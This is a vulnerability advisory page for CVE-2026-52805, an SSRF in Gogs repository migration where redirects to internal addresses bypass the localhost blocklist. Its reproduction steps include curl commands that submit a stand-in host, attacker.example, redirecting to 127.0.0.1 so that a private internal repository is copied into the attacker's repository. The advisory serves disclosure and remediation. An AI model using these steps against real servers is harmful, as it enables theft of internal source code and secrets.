Skip to main content

CVE-2026-52805 — Vulnerability in gogs.io/gogs — CVE Details

HIGH

Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft

Published June 23, 2026Updated July 21, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.38%). Schedule for your next planned update.

Does your project use an affected gogs.io/gogs version?

Paste your go.sum to check it for CVE-2026-52805 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my go.sum

Summary

Migration URL validation bypass via HTTP redirect to blocked internal endpoints

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository.

Vulnerability Details

The vulnerability is located in internal/form/repo.go. ParseRemoteAddr() validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by git clone --mirror in internal/database/repo.go, which follows HTTP redirects without revalidation:

  1. Attacker submits http://attacker.example/redirect.git — passes validation (public hostname).
  2. Attacker's server responds with 302 redirect to http://127.0.0.1:18081/victim/private.git.
  3. Git follows the redirect and clones the internal repository.
  4. Gogs imports the cloned contents into the attacker's new repository.

The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.

Impact

This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:

  • Steal source code and secrets from internal repositories served over HTTP.
  • Scan internal network services via the migration endpoint.

Reproduction Steps

Prerequisites: a Gogs instance, an attacker account that can create repositories.

  1. Start a local HTTP Git server with a test repository on 127.0.0.1:18081.
  2. Start a redirect server that responds to any request with a 302 redirect to http://127.0.0.1:18081/victim/private.git.
  3. Verify the direct localhost URL is blocked:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
  "${GOGS_URL}/api/v1/repos/migrate"

Result: rejected as blocked local address.

  1. Submit a public-looking URL that redirects to the blocked endpoint:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
  "${GOGS_URL}/api/v1/repos/migrate"

Result: migration succeeds. The new repository contains the internal repository's contents.

Advisory Timeline

  • First published June 23, 2026 (156 days ago).
  • Last revised July 21, 2026 — 28 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update gogs.io/gogs to 0.14.3 or later
go get gogs.io/gogs@v0.14.3

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: Go (1).

PackageFixed In
gogs.io/gogs Go · Affected: All versions0.14.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.7 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-52805?
Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.7/10).
How do I check if my project is affected by CVE-2026-52805?
CVE-2026-52805 affects gogs.io/gogs. It has a 0.4% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-52805 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.7

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.38%
EPSS percentile: 24.2

This is a below-median EPSS score — only 24.2% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-g2f5-gjr4-qjvm
GO-2026-5387

Related CVEs

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my go.sum